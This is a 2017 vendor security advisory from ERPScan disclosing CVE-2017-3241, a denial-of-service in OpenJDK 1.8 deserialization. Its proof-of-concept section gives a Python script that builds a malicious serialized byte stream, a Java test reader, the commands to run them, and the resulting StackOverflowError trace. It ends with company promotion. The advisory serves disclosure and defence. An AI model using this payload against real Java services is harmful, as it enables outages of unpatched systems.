Application: Java SE
Vendor: Oracle
Bug: DoS
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 17.01.2017
Reference: Oracle CPU Jan 2017
Author: Roman Shalymov
1. ADVISORY INFORMATION
Title: Oracle OpenJDK - Java Serialization DoS
Advisory ID: [ERPSCAN-17-006]
Risk: High
Advisory URL:
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/
Date published: 17.01.2017
Vendor contacted: Oracle
2. VULNERABILITY INFORMATION
Class: Denial of Service
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2017-3241
CVSS Base Score: 9.0
3. VULNERABILITY DESCRIPTION
An attacker can cause DoS of the application which uses OpenJDK Runtime
Environment 1.8 as its core runtime engine.
4. VULNERABLE PACKAGES
OpenJDK Runtime Environment build 1.8.0_112-b15
5. SOLUTIONS AND WORKAROUNDS
Fix ObjectInputStream.skipCustomData() method, namely readObject0(false);
call in switch statement
Adress Oracle CPU January 2017
6. AUTHOR
Roman Shalymov (@shalymov)
7. TECHNICAL DESCRIPTION
An attacker can craft a malicious sequence of bytes that will cause JVM
StackOverflowError in the standard Java deserialization process if it uses
ObjectInputStream.readObject() method.
7.1. Proof of Concept
An attacker creates a malicious sequence of bytes, for example, using this
python script pwn_ser.py:
#!/usr/bin/env python2
import sys
exp = ""
#serialization header
exp += '\xac\xed\x00\x05'
exp1 = ''
exp1 += '\x72'
exp1 += '\x00\x0c'+'java.io.File'
exp1 += '\x41'*8
exp1 += '\x00'
exp1 += '\x00\x00'
exp += exp1 * 10000
sys.stdout.write(exp)
and save it in exp2.ser file
$ ./pwn_ser2.py > exp2.ser
Let's simulate deserialization process. For this purpose, we create a
simple Java program, which uses the following standard deserialization
pattern:
Serialize_read.java
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class Serialize_read {
public static void main(String args[]) throws Exception {
if(args.length < 1) {
System.out.println("usage: "+Serialize_read.class.getSimpleName()+"
[file]");
System.exit(-1);
}
FileInputStream fin = new FileInputStream(args[0]);
ObjectInputStream oin = new ObjectInputStream(fin);
try {
Object objFromDisk = oin.readObject();
String s = (String)objFromDisk;
System.out.println(s);
System.out.println("Successfully read!");
}catch(Exception e){}
System.exit(0);
}
}
Let's try to read our malicious file (we can also simulate this stuff over
network communication):
$ javac Serialize_read.java
$ java Serialize_read exp2.ser
It causes the following error dump:
Exception in thread "main" java.lang.StackOverflowError
at
java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351)
at
java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834)
at
java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892)
at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075)
at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684)
at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
...
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
8. REPORT TIMELINE
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 17.01.2017
9. REFERENCES
http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/
10. ABOUT ERPScan Research
ERPScan research team specializes in vulnerability research and analysis of
critical enterprise applications. It was acknowledged multiple times by the
largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for
discovering more than 400 vulnerabilities in their solutions (200 of them
just in SAP!).
ERPScan researchers are proud of discovering new types of vulnerabilities
(TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug"
nomination at BlackHat 2013.
ERPScan experts participated as speakers, presenters, and trainers at 60+
prime international security conferences in 25+ countries across the
continents ( e.g. BlackHat, RSA, HITB) and conducted private trainings for
several Fortune 2000 companies.
ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP security
researches.
ERPScan experts were interviewed in specialized info-sec resources and
featured in major media worldwide. Among them there are Reuters, Yahoo, SC
Magazine, The Register, CIO, PC World, DarkReading, Heise, Chinabyte, etc.
Our team consists of highly-qualified researchers, specialized in various
fields of cybersecurity (from web application to ICS/SCADA systems),
gathering their experience to conduct the best SAP security research.
11. ABOUT ERPScan
ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally and
enables large Oil and Gas, Financial, Retail and other organizations to
secure their mission-critical processes. Named as an aEmerging Vendora in
Security by CRN, listed among aTOP 100 SAP Solution providersa and
distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in
discovering and resolving security vulnerabilities. ERPScan consultants
work with SAP SE in Walldorf to assist in improving the security of their
latest solutions.
ERPScanas primary mission is to close the gap between technical and
business security, and provide solutions for CISO's to evaluate and secure
SAP and Oracle ERP systems and business-critical applications from both
cyberattacks and internal fraud. As a rule, our clients are large
enterprises, Fortune 2000 companies and MSPs, whose requirements are to
actively monitor and manage security of vast SAP and Oracle landscapes on a
global scale.
We afollow the suna and have two hubs, located in Palo Alto and Amsterdam,
to provide threat intelligence services, continuous support and to operate
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Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301
Phone: 650.798.5255
Twitter: @erpscan
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